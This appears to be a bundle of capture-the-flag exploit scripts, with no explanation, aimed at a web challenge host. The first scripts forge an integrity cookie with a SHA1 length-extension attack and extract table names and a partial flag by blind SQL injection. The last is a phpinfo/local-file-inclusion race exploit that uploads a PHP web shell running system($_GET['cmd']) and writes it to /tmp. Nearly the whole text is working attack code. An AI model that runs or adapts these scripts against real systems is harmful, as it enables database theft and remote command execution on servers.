from hashpumpy import *
from urllib import *
ayy = "/*ID:aaaaaaaa*/SELECT * FROM board where no="
data = '/*'
add = '*/+1#'
length = len(ayy)
signature, data = hashpump('4842689ee6a2f4c57c03fdf42cba18eccb56cd2c',data,add,length)
print signature
print quote(data)

#!/usr/bin/python2
from hashpumpy import *
# python2 -m pip install hashpumpy
from urllib import *
import urllib
import requests

ayy = "/*ID:aaaaaaaa*/SELECT * FROM board where no="
data = '/*'
add = '*/+1#'
leng = len(ayy)
xnxx = '4842689ee6a2f4c57c03fdf42cba18eccb56cd2c'
# PHPSESSID=; integrity=

sess = requests.Session()
sess.cookies['PHPSESSID'] = '5i5ln92vf0t9o6nmbeh9u6l0h4'

def trial(i,j):
        add = '*/!!(SELECT (ord(reverse(rpad(table_name,%d,0x3f))))&%d FROM information_schema.tables where table_type=0x62617365207461626c65 and table_name!=0x7573657273 and table_name!=0x626f617264)' % (j +1 , 1 << i)
    # base table == 0x62617365207461626c65
    # users == 0x7573657273
    # board == 0x626f617264
        sig, data_ = hashpump(xnxx, data, add, leng)
        url = 'https://eagle-jump.eagle-jump.org/?' + urllib.urlencode({'p':'read.php','no': data_})
        sess.cookies['integrity'] = sig
        a = sess.get(url)
        return 'Welcome ' not in a.text[1076:]
#1385
name = ''
for j in range(50):
        r = 0
        for i in range(8):
                z = trial(i,j)
                r |= (z << i)
        name = name+chr(r)
        if '?' in name:
                break
        else:
                print name
#flag{e398a8bb1a707096

#!/usr/bin/python2
from hashpumpy import *
# python2 -m pip install hashpumpy
from urllib import *
import urllib
import requests

ayy = "/*ID:aaaaaaaa*/SELECT * FROM board where no="
data = '/*'
add = '*/+1#'
leng = len(ayy)
xnxx = '4842689ee6a2f4c57c03fdf42cba18eccb56cd2c'
# PHPSESSID=; integrity=

sess = requests.Session()
sess.cookies['PHPSESSID'] = '5i5ln92vf0t9o6nmbeh9u6l0h4'

def trial(i,j):
        add = "*/!!(SELECT ord(reverse(rpad(F14G,%d,0x3f)))&%d FROM FlagPart1)" % (j + 1, 1 << i)

        sig, data_ = hashpump(xnxx, data, add, leng)
        url = 'https://eagle-jump.eagle-jump.org/?' + urllib.urlencode({'p':'read.php','no': data_})
        sess.cookies['integrity'] = sig
        a = sess.get(url)
        return 'Welcome ' not in a.text[1076:]
#1385
name = ''
for j in range(50):
        r = 0
        for i in range(8):
                z = trial(i,j)
                r |= (z << i)
        name = name+chr(r)
        if '?' in name:
                break
        else:
                print name
#flag{e398a8bb1a707096

#!/usr/bin/python
# Author: D35m0nd142
# i made some changes
import socket
import requests
import os,sys,time
import re
import urllib3

gen_headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36',
              'Accept-Language':'en-US;',
              'Accept-Encoding': '',
              'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
              'Connection':'close'}
#######INIT
#/?KEY=1de81526d511622e0a3cde89de0d3814&p=zip://BACK_20170314.zip%23info.php
###########
sess = requests.Session()

def SubstrFind(resp, toFind):
    if(len(toFind) > len(resp)):
        return []

    found = False
    indexes = []

    for x in range(0,(len(resp)-len(toFind))+1):
        if(ord(resp[x]) == ord(toFind[0])):
            found = True
            for i in range(0,len(toFind)):
                if(ord(resp[x+i]) != ord(toFind[i])):
                    found = False
                    break
        if(found):
            indexes.append(x)
            found = False
            x += len(toFind)

    return indexes
def phpinfo_ext(content):
    indexes = SubstrFind(content, "AbracadabrA")
    found = len(indexes) > 0
    got = ""

    if(found):
        start = indexes[0]+11
        for x in range(start, len(content)):
            if(content[x] == '<'):
                break
            got += content[x]

    return got

def phpinfo_request():
    rcvbuf = 1024
    bigz = 3000
    junkheaders = 30
    junkfiles = 5
    junkfilename = '>' * 1000000
    z = "Z" * bigz
    found = 0
#User-Agent: 
    phpinfo_headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36',
                  'z': z,
                  "Host": "eagle-jump.eagle-jump.org",
                  'Connection':'close'}

    if "Cookie" in gen_headers:
        phpinfo_headers['Cookie'] = gen_headers['Cookie']

    loop = range(0,junkheaders)
    for count in loop:
        phpinfo_headers["z%s" % count] = "%s"%count
        
    phpinfo_headers["Content-Type"] = "multipart/form-data; boundary=-------------------------acebdf13572468"
    
    cmd = 'file_put_contents("/tmp/mtucx__",\'<?php system($_GET["cmd"]);?>\'); echo xnxx;'
    content = """---------------------------acebdf13572468\nContent-Disposition: form-data; name="tfile"; filename="test.html"\r\nContent-Type: text/html\r\n\r\n AbracadabrA <?php %s ?> AbracadabrA\r\n""" %(cmd)
    
    loop = range(0,junkfiles)
    for count in loop:
        content = content + """---------------------------acebdf13572468\nContent-Disposition: form-data; name="ffile%d"; filename="%d%s"\r\nContent-Type: text/html\r\n\r\nno\r\n"""%(count,count,junkfilename)
        content += "---------------------------acebdf13572468--\r\n" 
    
    phpinfo_headers['Content-Length'] = "%s" %(len(content))
    got = ""
    sc = urllib3.connection_from_url('https://eagle-jump.eagle-jump.org')._new_conn()
    sc.connect()
    sc = sc.sock

    payload = "POST /?KEY=1de81526d511622e0a3cde89de0d3814&p=zip://BACK_20170314.zip%23info.php HTTP/1.1\r\n"+ \
            '\r\n'.join('%s: %s' % (key , value) for key, value in phpinfo_headers.items()) + '\r\n\r\n' + content
    #print payload
    #exit()
    sc.sendall(payload)

    resp = ''
    while 'tmp_name' not in resp:
        x = sc.recv(4096)
        #print x
        if x == '':
            break
        resp += x
    #print resp
    #exit()
    if("tmp_name" in resp):
        found = 1
        lines = resp.split('\n')
        for line in lines:
            if "tmp_name]" in line:
                mystr = str(line)
                array = mystr.split()
                tmp_name = array[2]
                print tmp_name
                break

        tmp_url = "https://eagle-jump.eagle-jump.org/?KEY=1de81526d511622e0a3cde89de0d3814&p=" + tmp_name
        r = sess.get(tmp_url, headers=gen_headers)#
        content = r.content
        if 'AbracadabrA' in content:
            got = content.split("AbracadabrA")[1]
        else:
            print('wait ... ')

    return got
        
while True:
    print(phpinfo_request())